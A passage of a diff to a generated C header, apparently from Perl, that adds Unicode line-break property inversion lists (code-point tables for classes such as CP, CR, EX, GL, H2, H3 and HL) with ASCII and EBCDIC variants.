+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__CP_invlist[] = { /* for ASCII/Latin1 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x29,
+	0x2A,
+	0x5D,
+	0x5E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__CP_invlist[] = { /* for EBCDIC 1047 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5D,
+	0x5E,
+	0xBD,
+	0xBE
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__CP_invlist[] = { /* for EBCDIC 037 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5D,
+	0x5E,
+	0xBB,
+	0xBC
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__CR_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD,
+	0xE
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__CR_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD,
+	0xE
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__CR_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD,
+	0xE
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LB__EB_invlist[] = { /* for all charsets */
+	65,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x261D,
+	0x261E,
+	0x26F9,
+	0x26FA,
+	0x270A,
+	0x270E,
+	0x1F385,
+	0x1F386,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE
+};
+
+static const UV PL_LB__EM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F3FB,
+	0x1F400
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__EX_invlist[] = { /* for ASCII/Latin1 */
+	49,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x22,
+	0x3F,
+	0x40,
+	0x5C6,
+	0x5C7,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x7F9,
+	0x7FA,
+	0xF0D,
+	0xF12,
+	0xF14,
+	0xF15,
+	0x1802,
+	0x1804,
+	0x1808,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x2762,
+	0x2764,
+	0x2CF9,
+	0x2CFA,
+	0x2CFE,
+	0x2CFF,
+	0x2E2E,
+	0x2E2F,
+	0xA60E,
+	0xA60F,
+	0xA876,
+	0xA878,
+	0xFE15,
+	0xFE17,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF1F,
+	0xFF20,
+	0x115C4,
+	0x115C6,
+	0x11C71,
+	0x11C72
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__EX_invlist[] = { /* for EBCDIC 1047 */
+	49,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5A,
+	0x5B,
+	0x6F,
+	0x70,
+	0x5C6,
+	0x5C7,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x7F9,
+	0x7FA,
+	0xF0D,
+	0xF12,
+	0xF14,
+	0xF15,
+	0x1802,
+	0x1804,
+	0x1808,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x2762,
+	0x2764,
+	0x2CF9,
+	0x2CFA,
+	0x2CFE,
+	0x2CFF,
+	0x2E2E,
+	0x2E2F,
+	0xA60E,
+	0xA60F,
+	0xA876,
+	0xA878,
+	0xFE15,
+	0xFE17,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF1F,
+	0xFF20,
+	0x115C4,
+	0x115C6,
+	0x11C71,
+	0x11C72
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__EX_invlist[] = { /* for EBCDIC 037 */
+	49,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5A,
+	0x5B,
+	0x6F,
+	0x70,
+	0x5C6,
+	0x5C7,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x7F9,
+	0x7FA,
+	0xF0D,
+	0xF12,
+	0xF14,
+	0xF15,
+	0x1802,
+	0x1804,
+	0x1808,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x2762,
+	0x2764,
+	0x2CF9,
+	0x2CFA,
+	0x2CFE,
+	0x2CFF,
+	0x2E2E,
+	0x2E2F,
+	0xA60E,
+	0xA60F,
+	0xA876,
+	0xA878,
+	0xFE15,
+	0xFE17,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF1F,
+	0xFF20,
+	0x115C4,
+	0x115C6,
+	0x11C71,
+	0x11C72
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__GL_invlist[] = { /* for ASCII/Latin1 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA0,
+	0xA1,
+	0x34F,
+	0x350,
+	0x35C,
+	0x363,
+	0xF08,
+	0xF09,
+	0xF0C,
+	0xF0D,
+	0xF12,
+	0xF13,
+	0xFD9,
+	0xFDB,
+	0x180E,
+	0x180F,
+	0x2007,
+	0x2008,
+	0x2011,
+	0x2012,
+	0x202F,
+	0x2030
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__GL_invlist[] = { /* for EBCDIC 1047 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x34F,
+	0x350,
+	0x35C,
+	0x363,
+	0xF08,
+	0xF09,
+	0xF0C,
+	0xF0D,
+	0xF12,
+	0xF13,
+	0xFD9,
+	0xFDB,
+	0x180E,
+	0x180F,
+	0x2007,
+	0x2008,
+	0x2011,
+	0x2012,
+	0x202F,
+	0x2030
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__GL_invlist[] = { /* for EBCDIC 037 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x34F,
+	0x350,
+	0x35C,
+	0x363,
+	0xF08,
+	0xF09,
+	0xF0C,
+	0xF0D,
+	0xF12,
+	0xF13,
+	0xFD9,
+	0xFDB,
+	0x180E,
+	0x180F,
+	0x2007,
+	0x2008,
+	0x2011,
+	0x2012,
+	0x202F,
+	0x2030
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LB__H2_invlist[] = { /* for all charsets */
+	799,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0xAC00,
 	0xAC01,
 	0xAC1C,
@@ -73077,14 +285481,825 @@
 	0xD76C,
 	0xD76D,
 	0xD788,
+	0xD789
+};
+
+static const UV PL_LB__H3_invlist[] = { /* for all charsets */
+	799,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAC01,
+	0xAC1C,
+	0xAC1D,
+	0xAC38,
+	0xAC39,
+	0xAC54,
+	0xAC55,
+	0xAC70,
+	0xAC71,
+	0xAC8C,
+	0xAC8D,
+	0xACA8,
+	0xACA9,
+	0xACC4,
+	0xACC5,
+	0xACE0,
+	0xACE1,
+	0xACFC,
+	0xACFD,
+	0xAD18,
+	0xAD19,
+	0xAD34,
+	0xAD35,
+	0xAD50,
+	0xAD51,
+	0xAD6C,
+	0xAD6D,
+	0xAD88,
+	0xAD89,
+	0xADA4,
+	0xADA5,
+	0xADC0,
+	0xADC1,
+	0xADDC,
+	0xADDD,
+	0xADF8,
+	0xADF9,
+	0xAE14,
+	0xAE15,
+	0xAE30,
+	0xAE31,
+	0xAE4C,
+	0xAE4D,
+	0xAE68,
+	0xAE69,
+	0xAE84,
+	0xAE85,
+	0xAEA0,
+	0xAEA1,
+	0xAEBC,
+	0xAEBD,
+	0xAED8,
+	0xAED9,
+	0xAEF4,
+	0xAEF5,
+	0xAF10,
+	0xAF11,
+	0xAF2C,
+	0xAF2D,
+	0xAF48,
+	0xAF49,
+	0xAF64,
+	0xAF65,
+	0xAF80,
+	0xAF81,
+	0xAF9C,
+	0xAF9D,
+	0xAFB8,
+	0xAFB9,
+	0xAFD4,
+	0xAFD5,
+	0xAFF0,
+	0xAFF1,
+	0xB00C,
+	0xB00D,
+	0xB028,
+	0xB029,
+	0xB044,
+	0xB045,
+	0xB060,
+	0xB061,
+	0xB07C,
+	0xB07D,
+	0xB098,
+	0xB099,
+	0xB0B4,
+	0xB0B5,
+	0xB0D0,
+	0xB0D1,
+	0xB0EC,
+	0xB0ED,
+	0xB108,
+	0xB109,
+	0xB124,
+	0xB125,
+	0xB140,
+	0xB141,
+	0xB15C,
+	0xB15D,
+	0xB178,
+	0xB179,
+	0xB194,
+	0xB195,
+	0xB1B0,
+	0xB1B1,
+	0xB1CC,
+	0xB1CD,
+	0xB1E8,
+	0xB1E9,
+	0xB204,
+	0xB205,
+	0xB220,
+	0xB221,
+	0xB23C,
+	0xB23D,
+	0xB258,
+	0xB259,
+	0xB274,
+	0xB275,
+	0xB290,
+	0xB291,
+	0xB2AC,
+	0xB2AD,
+	0xB2C8,
+	0xB2C9,
+	0xB2E4,
+	0xB2E5,
+	0xB300,
+	0xB301,
+	0xB31C,
+	0xB31D,
+	0xB338,
+	0xB339,
+	0xB354,
+	0xB355,
+	0xB370,
+	0xB371,
+	0xB38C,
+	0xB38D,
+	0xB3A8,
+	0xB3A9,
+	0xB3C4,
+	0xB3C5,
+	0xB3E0,
+	0xB3E1,
+	0xB3FC,
+	0xB3FD,
+	0xB418,
+	0xB419,
+	0xB434,
+	0xB435,
+	0xB450,
+	0xB451,
+	0xB46C,
+	0xB46D,
+	0xB488,
+	0xB489,
+	0xB4A4,
+	0xB4A5,
+	0xB4C0,
+	0xB4C1,
+	0xB4DC,
+	0xB4DD,
+	0xB4F8,
+	0xB4F9,
+	0xB514,
+	0xB515,
+	0xB530,
+	0xB531,
+	0xB54C,
+	0xB54D,
+	0xB568,
+	0xB569,
+	0xB584,
+	0xB585,
+	0xB5A0,
+	0xB5A1,
+	0xB5BC,
+	0xB5BD,
+	0xB5D8,
+	0xB5D9,
+	0xB5F4,
+	0xB5F5,
+	0xB610,
+	0xB611,
+	0xB62C,
+	0xB62D,
+	0xB648,
+	0xB649,
+	0xB664,
+	0xB665,
+	0xB680,
+	0xB681,
+	0xB69C,
+	0xB69D,
+	0xB6B8,
+	0xB6B9,
+	0xB6D4,
+	0xB6D5,
+	0xB6F0,
+	0xB6F1,
+	0xB70C,
+	0xB70D,
+	0xB728,
+	0xB729,
+	0xB744,
+	0xB745,
+	0xB760,
+	0xB761,
+	0xB77C,
+	0xB77D,
+	0xB798,
+	0xB799,
+	0xB7B4,
+	0xB7B5,
+	0xB7D0,
+	0xB7D1,
+	0xB7EC,
+	0xB7ED,
+	0xB808,
+	0xB809,
+	0xB824,
+	0xB825,
+	0xB840,
+	0xB841,
+	0xB85C,
+	0xB85D,
+	0xB878,
+	0xB879,
+	0xB894,
+	0xB895,
+	0xB8B0,
+	0xB8B1,
+	0xB8CC,
+	0xB8CD,
+	0xB8E8,
+	0xB8E9,
+	0xB904,
+	0xB905,
+	0xB920,
+	0xB921,
+	0xB93C,
+	0xB93D,
+	0xB958,
+	0xB959,
+	0xB974,
+	0xB975,
+	0xB990,
+	0xB991,
+	0xB9AC,
+	0xB9AD,
+	0xB9C8,
+	0xB9C9,
+	0xB9E4,
+	0xB9E5,
+	0xBA00,
+	0xBA01,
+	0xBA1C,
+	0xBA1D,
+	0xBA38,
+	0xBA39,
+	0xBA54,
+	0xBA55,
+	0xBA70,
+	0xBA71,
+	0xBA8C,
+	0xBA8D,
+	0xBAA8,
+	0xBAA9,
+	0xBAC4,
+	0xBAC5,
+	0xBAE0,
+	0xBAE1,
+	0xBAFC,
+	0xBAFD,
+	0xBB18,
+	0xBB19,
+	0xBB34,
+	0xBB35,
+	0xBB50,
+	0xBB51,
+	0xBB6C,
+	0xBB6D,
+	0xBB88,
+	0xBB89,
+	0xBBA4,
+	0xBBA5,
+	0xBBC0,
+	0xBBC1,
+	0xBBDC,
+	0xBBDD,
+	0xBBF8,
+	0xBBF9,
+	0xBC14,
+	0xBC15,
+	0xBC30,
+	0xBC31,
+	0xBC4C,
+	0xBC4D,
+	0xBC68,
+	0xBC69,
+	0xBC84,
+	0xBC85,
+	0xBCA0,
+	0xBCA1,
+	0xBCBC,
+	0xBCBD,
+	0xBCD8,
+	0xBCD9,
+	0xBCF4,
+	0xBCF5,
+	0xBD10,
+	0xBD11,
+	0xBD2C,
+	0xBD2D,
+	0xBD48,
+	0xBD49,
+	0xBD64,
+	0xBD65,
+	0xBD80,
+	0xBD81,
+	0xBD9C,
+	0xBD9D,
+	0xBDB8,
+	0xBDB9,
+	0xBDD4,
+	0xBDD5,
+	0xBDF0,
+	0xBDF1,
+	0xBE0C,
+	0xBE0D,
+	0xBE28,
+	0xBE29,
+	0xBE44,
+	0xBE45,
+	0xBE60,
+	0xBE61,
+	0xBE7C,
+	0xBE7D,
+	0xBE98,
+	0xBE99,
+	0xBEB4,
+	0xBEB5,
+	0xBED0,
+	0xBED1,
+	0xBEEC,
+	0xBEED,
+	0xBF08,
+	0xBF09,
+	0xBF24,
+	0xBF25,
+	0xBF40,
+	0xBF41,
+	0xBF5C,
+	0xBF5D,
+	0xBF78,
+	0xBF79,
+	0xBF94,
+	0xBF95,
+	0xBFB0,
+	0xBFB1,
+	0xBFCC,
+	0xBFCD,
+	0xBFE8,
+	0xBFE9,
+	0xC004,
+	0xC005,
+	0xC020,
+	0xC021,
+	0xC03C,
+	0xC03D,
+	0xC058,
+	0xC059,
+	0xC074,
+	0xC075,
+	0xC090,
+	0xC091,
+	0xC0AC,
+	0xC0AD,
+	0xC0C8,
+	0xC0C9,
+	0xC0E4,
+	0xC0E5,
+	0xC100,
+	0xC101,
+	0xC11C,
+	0xC11D,
+	0xC138,
+	0xC139,
+	0xC154,
+	0xC155,
+	0xC170,
+	0xC171,
+	0xC18C,
+	0xC18D,
+	0xC1A8,
+	0xC1A9,
+	0xC1C4,
+	0xC1C5,
+	0xC1E0,
+	0xC1E1,
+	0xC1FC,
+	0xC1FD,
+	0xC218,
+	0xC219,
+	0xC234,
+	0xC235,
+	0xC250,
+	0xC251,
+	0xC26C,
+	0xC26D,
+	0xC288,
+	0xC289,
+	0xC2A4,
+	0xC2A5,
+	0xC2C0,
+	0xC2C1,
+	0xC2DC,
+	0xC2DD,
+	0xC2F8,
+	0xC2F9,
+	0xC314,
+	0xC315,
+	0xC330,
+	0xC331,
+	0xC34C,
+	0xC34D,
+	0xC368,
+	0xC369,
+	0xC384,
+	0xC385,
+	0xC3A0,
+	0xC3A1,
+	0xC3BC,
+	0xC3BD,
+	0xC3D8,
+	0xC3D9,
+	0xC3F4,
+	0xC3F5,
+	0xC410,
+	0xC411,
+	0xC42C,
+	0xC42D,
+	0xC448,
+	0xC449,
+	0xC464,
+	0xC465,
+	0xC480,
+	0xC481,
+	0xC49C,
+	0xC49D,
+	0xC4B8,
+	0xC4B9,
+	0xC4D4,
+	0xC4D5,
+	0xC4F0,
+	0xC4F1,
+	0xC50C,
+	0xC50D,
+	0xC528,
+	0xC529,
+	0xC544,
+	0xC545,
+	0xC560,
+	0xC561,
+	0xC57C,
+	0xC57D,
+	0xC598,
+	0xC599,
+	0xC5B4,
+	0xC5B5,
+	0xC5D0,
+	0xC5D1,
+	0xC5EC,
+	0xC5ED,
+	0xC608,
+	0xC609,
+	0xC624,
+	0xC625,
+	0xC640,
+	0xC641,
+	0xC65C,
+	0xC65D,
+	0xC678,
+	0xC679,
+	0xC694,
+	0xC695,
+	0xC6B0,
+	0xC6B1,
+	0xC6CC,
+	0xC6CD,
+	0xC6E8,
+	0xC6E9,
+	0xC704,
+	0xC705,
+	0xC720,
+	0xC721,
+	0xC73C,
+	0xC73D,
+	0xC758,
+	0xC759,
+	0xC774,
+	0xC775,
+	0xC790,
+	0xC791,
+	0xC7AC,
+	0xC7AD,
+	0xC7C8,
+	0xC7C9,
+	0xC7E4,
+	0xC7E5,
+	0xC800,
+	0xC801,
+	0xC81C,
+	0xC81D,
+	0xC838,
+	0xC839,
+	0xC854,
+	0xC855,
+	0xC870,
+	0xC871,
+	0xC88C,
+	0xC88D,
+	0xC8A8,
+	0xC8A9,
+	0xC8C4,
+	0xC8C5,
+	0xC8E0,
+	0xC8E1,
+	0xC8FC,
+	0xC8FD,
+	0xC918,
+	0xC919,
+	0xC934,
+	0xC935,
+	0xC950,
+	0xC951,
+	0xC96C,
+	0xC96D,
+	0xC988,
+	0xC989,
+	0xC9A4,
+	0xC9A5,
+	0xC9C0,
+	0xC9C1,
+	0xC9DC,
+	0xC9DD,
+	0xC9F8,
+	0xC9F9,
+	0xCA14,
+	0xCA15,
+	0xCA30,
+	0xCA31,
+	0xCA4C,
+	0xCA4D,
+	0xCA68,
+	0xCA69,
+	0xCA84,
+	0xCA85,
+	0xCAA0,
+	0xCAA1,
+	0xCABC,
+	0xCABD,
+	0xCAD8,
+	0xCAD9,
+	0xCAF4,
+	0xCAF5,
+	0xCB10,
+	0xCB11,
+	0xCB2C,
+	0xCB2D,
+	0xCB48,
+	0xCB49,
+	0xCB64,
+	0xCB65,
+	0xCB80,
+	0xCB81,
+	0xCB9C,
+	0xCB9D,
+	0xCBB8,
+	0xCBB9,
+	0xCBD4,
+	0xCBD5,
+	0xCBF0,
+	0xCBF1,
+	0xCC0C,
+	0xCC0D,
+	0xCC28,
+	0xCC29,
+	0xCC44,
+	0xCC45,
+	0xCC60,
+	0xCC61,
+	0xCC7C,
+	0xCC7D,
+	0xCC98,
+	0xCC99,
+	0xCCB4,
+	0xCCB5,
+	0xCCD0,
+	0xCCD1,
+	0xCCEC,
+	0xCCED,
+	0xCD08,
+	0xCD09,
+	0xCD24,
+	0xCD25,
+	0xCD40,
+	0xCD41,
+	0xCD5C,
+	0xCD5D,
+	0xCD78,
+	0xCD79,
+	0xCD94,
+	0xCD95,
+	0xCDB0,
+	0xCDB1,
+	0xCDCC,
+	0xCDCD,
+	0xCDE8,
+	0xCDE9,
+	0xCE04,
+	0xCE05,
+	0xCE20,
+	0xCE21,
+	0xCE3C,
+	0xCE3D,
+	0xCE58,
+	0xCE59,
+	0xCE74,
+	0xCE75,
+	0xCE90,
+	0xCE91,
+	0xCEAC,
+	0xCEAD,
+	0xCEC8,
+	0xCEC9,
+	0xCEE4,
+	0xCEE5,
+	0xCF00,
+	0xCF01,
+	0xCF1C,
+	0xCF1D,
+	0xCF38,
+	0xCF39,
+	0xCF54,
+	0xCF55,
+	0xCF70,
+	0xCF71,
+	0xCF8C,
+	0xCF8D,
+	0xCFA8,
+	0xCFA9,
+	0xCFC4,
+	0xCFC5,
+	0xCFE0,
+	0xCFE1,
+	0xCFFC,
+	0xCFFD,
+	0xD018,
+	0xD019,
+	0xD034,
+	0xD035,
+	0xD050,
+	0xD051,
+	0xD06C,
+	0xD06D,
+	0xD088,
+	0xD089,
+	0xD0A4,
+	0xD0A5,
+	0xD0C0,
+	0xD0C1,
+	0xD0DC,
+	0xD0DD,
+	0xD0F8,
+	0xD0F9,
+	0xD114,
+	0xD115,
+	0xD130,
+	0xD131,
+	0xD14C,
+	0xD14D,
+	0xD168,
+	0xD169,
+	0xD184,
+	0xD185,
+	0xD1A0,
+	0xD1A1,
+	0xD1BC,
+	0xD1BD,
+	0xD1D8,
+	0xD1D9,
+	0xD1F4,
+	0xD1F5,
+	0xD210,
+	0xD211,
+	0xD22C,
+	0xD22D,
+	0xD248,
+	0xD249,
+	0xD264,
+	0xD265,
+	0xD280,
+	0xD281,
+	0xD29C,
+	0xD29D,
+	0xD2B8,
+	0xD2B9,
+	0xD2D4,
+	0xD2D5,
+	0xD2F0,
+	0xD2F1,
+	0xD30C,
+	0xD30D,
+	0xD328,
+	0xD329,
+	0xD344,
+	0xD345,
+	0xD360,
+	0xD361,
+	0xD37C,
+	0xD37D,
+	0xD398,
+	0xD399,
+	0xD3B4,
+	0xD3B5,
+	0xD3D0,
+	0xD3D1,
+	0xD3EC,
+	0xD3ED,
+	0xD408,
+	0xD409,
+	0xD424,
+	0xD425,
+	0xD440,
+	0xD441,
+	0xD45C,
+	0xD45D,
+	0xD478,
+	0xD479,
+	0xD494,
+	0xD495,
+	0xD4B0,
+	0xD4B1,
+	0xD4CC,
+	0xD4CD,
+	0xD4E8,
+	0xD4E9,
+	0xD504,
+	0xD505,
+	0xD520,
+	0xD521,
+	0xD53C,
+	0xD53D,
+	0xD558,
+	0xD559,
+	0xD574,
+	0xD575,
+	0xD590,
+	0xD591,
+	0xD5AC,
+	0xD5AD,
+	0xD5C8,
+	0xD5C9,
+	0xD5E4,
+	0xD5E5,
+	0xD600,
+	0xD601,
+	0xD61C,
+	0xD61D,
+	0xD638,
+	0xD639,
+	0xD654,
+	0xD655,
+	0xD670,
+	0xD671,
+	0xD68C,
+	0xD68D,
+	0xD6A8,
+	0xD6A9,
+	0xD6C4,
+	0xD6C5,
+	0xD6E0,
+	0xD6E1,
+	0xD6FC,
+	0xD6FD,
+	0xD718,
+	0xD719,
+	0xD734,
+	0xD735,
+	0xD750,
+	0xD751,
+	0xD76C,
+	0xD76D,
+	0xD788,
 	0xD789,
-	0xD7A4,
-	0xD7B0,
-	0xD7C7,
-	0xD7CB,
-	0xD7FC,
-	0xF900,
-	0xFB00,
+	0xD7A4
+};
+
+static const UV PL_LB__HL_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
 	0xFB1D,
 	0xFB1E,
